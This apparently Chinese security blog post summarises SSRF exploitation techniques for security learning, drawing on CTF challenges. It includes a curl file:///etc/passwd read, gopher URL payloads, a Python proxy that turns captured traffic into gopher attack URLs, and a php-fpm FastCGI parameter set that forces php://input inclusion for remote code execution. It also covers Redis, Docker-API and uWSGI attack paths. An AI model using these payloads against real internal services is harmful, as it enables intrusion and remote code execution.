0%

ssrf_总结.md

导言

服务端请求伪造(SSRF),简单来说就是服务器以其身份替攻击者发生任意请求,因为服务器所处的特殊网络位置,很可能有机会访问内部资源,在元环境中,可能会存在包含敏感凭证的元数据断点,造成很严重的危害

比如一个在线翻译服务,服务器需要请求用户给定的url并且翻译后将内容回显,这时服务器就需要通过自己特殊的网络位置发生请求,造成漏洞

例如刚刚在线翻译服务的那个场景,攻击者唯一可控的只有url,那么怎么利用url达成攻击呢

答案是协议,Web攻击可以达到的效果,取决于可控参数传入的函数,支持的功能,除了http,https协议,还有很多其他的协议可以利用

image-20210130165750986

上图是curl支持的协议

我们可以这里理解ssrf攻击

curl类似一个函数,会把我们传入的url转成对应的tcp或udp报文,发送到对应的host和端口,

我们要利用可控的url操作curl生成的报文,然后对内网的服务进行攻击

我们容易想到我们可以操控得到的流量会有三者情况

  1. 可交互的tcp流

    这种应该只会在极其特殊的情况下才会出现

  2. 完全可控的一次tcp流

    只可以发送一次,但是内容完全可控,这种会在c协议出现,或者在对ftp服务器的进一步利用出现

  3. 受限的部分可控的一次tcp流

    dict协议,http,https协议都有可能出现这种情况

##可利用的协议

file协议

file协议可以直接读取文件

1
2
3
% curl file:///etc/passwd
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh

gopher

Gopher协议是internet的一个信息查找系统,他出现在www之前,现在支持gopher协议的客户端已经越来越少了

但是他是可以达到完全可控的一次tcp流,这个效果的,可以说是攻击面最广的一个协议了,http的post请求,redis的设置请求,都可以伪造

1
gopher://127.0.0.1:4002/_%65%76%61%6c%5f%64%61%74%61

格式为gopher://127.0.0.1:4002/_后面是要传输内容的url编码

![image-20210202114911256](../../../../Library/Application Support/typora-user-images/image-20210202114911256.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import socket
import threading
from urllib.parse import quote
## 实际内部服务端口
source_host = '127.0.0.1'
source_port = 8080

## 外部传入端口
desc_host = '0.0.0.0'
desc_port = 8082

def log_data(data):
with open('log.txt','ab+') as f:
f.write(b'------bin----------\r\n')
f.write(data)
f.write(b'\r\n-----\r\n')
f.write(b'gopher://127.0.0.1:%d/_'%source_port + quote(data).encode())
f.write(b'-------url---------\r\n')
def send(sender, recver):
while 1:
try:
data = sender.recv(2048)
except:
break
print("recv error")
try:
log_data(data)
recver.sendall(data)
except:
print("send error")
sender.close()
break
recver.close()

def proxy(client):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect((source_host, source_port))
threading.Thread(target=send, args=(client, server)).start()
threading.Thread(target=send, args=(server, client)).start()

def main():
proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
proxy_server.bind((desc_host, desc_port))
proxy_server.listen(50)

print("Proxying from %s:%s to %s:%s ..."%(desc_host, desc_port,source_host, source_port))
while True:
conn, addr = proxy_server.accept()
print("received connect from %s:%s"%(addr[0], addr[1]))
threading.Thread(target=proxy, args=(conn, )).start()

if __name__ == '__main__':
main()

可以使用这个脚本,转发并且记录流量,转成gopher的形式

dict协议

image-20210202115140626

dict协议是词典网络协议,url-path部分的字符会直接发送,达到受限的部分可控的一次tcp流攻击效果,但是无法加入一些特殊字符,无法换行,攻击效果受限,常用来攻击redis

CRLF攻击

CVE-2019-9740urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3都曾出过CRLF漏洞

CVE-2016-5699Python 2.7.10之前的版本和3.4.4之前的3.x 版本中的 urllib2和urllib中的‘HTTPConnection.putheader’函数存在CRLF注入漏洞

http协议

因为http应用很光,单纯http协议,也可以攻击部分web内网应用,如果docker开启了tcp监听,也可以进行攻击

ftp协议

  • 利用被动模式

hxp-2020resonator/

1
2
3
4
5
<?php
$file = $_GET['file'] ?? '/tmp/file';
$data = $_GET['data'] ?? ':)';
file_put_contents($file, $data);
echo file_get_contents($file);

出现的这样一个利用姿势,利用一个恶意的ftp服务器,当php使用file_put_contents向ftp服务器上传数据时,服务器开启被动模式,返回127.0.0.1:9000 这个地址,内容就被发往本地的fpm服务器,造成rce

  • 利用ftp主动模式

    在starctf2021/web-oh-my-bet,出现了这样一个姿势

    在python的pyftpdlib启动的ftp服务器中,如果配置

    1
    handler.permit_foreign_addresses = True

    既ftp服务器在主动模式中,对用户来源ip地址和用户主动模式给出ip地址不做校验

    则可以恶意用户则可以连接ftp服务器,上传恶意文件后,使用主动模式下载,这是给服务器恶意内网地址,造成攻击,

    如果内网有ftp服务器,利用ftp服务器对tcp流的容错,则可以,受限的部分可控的一次tcp流,转成把完全可控的一次tcp流

TLS协议

https://i.blackhat.com/USA-20/Wednesday/us-20-Maddux-When-TLS-Hacks-You.pdf

利用tls的会话复用机制,可以实现ssrf只要支持https协议,就可以造成受限的部分可控的一次tcp流攻击

可攻击的应用

本质上来说,只要在内网监听了端口,都有可能被攻击,但是因为协议中可控内容有限,还是有一些限制 的,

redis

1
docker run -d -p 6379:6379 ju5ton1y/redis

redis使用的是RESP (REdis Serialization Protocol),本质上只是规定了将命令行命令转为tcp传输的封装方式

1
2
3
4
5
6
7
8
auth 123123
转为
*2
$4
auth
$6
123123
在tcp中传输,先利用*声明一个长度为2的数组,$number代表每个元素的长度,

并且redis是支持管道操作的,也就是说可以一次发生多次操作,而不需要等待服务器回复

而且redis认证的本质也是请求前,发送了上述auth命令,也就是说,如果你通过其他途径得到了redis密码,或者进行爆破,有认证的redis也是可以被攻击的

在我实验的redis_version:3.2.11中,redis对

1
2
POST,
Host:

做了检测,如果匹配到会直接结束连接,应该是为了防止http POST或者crlf攻击redis,但是redis没有banGET

在python的CVE-2016-5699CRLF注入中,因为payload是注入在Host之后,所以无法攻击,虽然它可以通过SNI注入,去掉GET,但是因为有特殊字符的问题,redis也无法攻击.

python的 CVE-2019-9740,CRLF注入,因为是url处,所以可以攻击redis

攻击姿势

参考

https://paper.seebug.org/1169/#_1

https://www.anquanke.com/post/id/214108#h3-12

比较常见的利用姿势的有写文件,利用主从复制getshell,或者改数据触发反序列化,或者低版本的rce等

https://redis.io/topics/protocol

https://www.anquanke.com/post/id/181599#h2-2

https://www.anquanke.com/post/id/214108#h3-15

docker

可以看p神这篇文章

https://mp.weixin.qq.com/s/X04IhY9Oau-kDOVbok8wEw

如果docker配置了监听tcp端口,则可以通过ssrf攻击,只要有可控的http的post方法,就可以造成rce,利用create和exec的姿势需要path和body都可控,p神在这篇文章中

uWSGI

通过ssrf攻击uWSGI实现rce,

因为在uwsgi的协议中,允许传递一些魔术变量,调整参数,利用UWSGI_FILE变量,可以动态加载新的文件执行,并且uWSGI程序中默认注册了一系列schemes,可以通过这些schemes直接进行rce

https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md

php-fpm

一般监听9000端口通过完全可控的一次tcp流可以rce,一般利用方法为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

FastCGI 协议可以通过PHP_ADMIN_VALUE和PHP_VALUE指定php配置值,通过配置自动包含php://input,而进行rce

参考资料

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#file

Welcome to my other publishing channels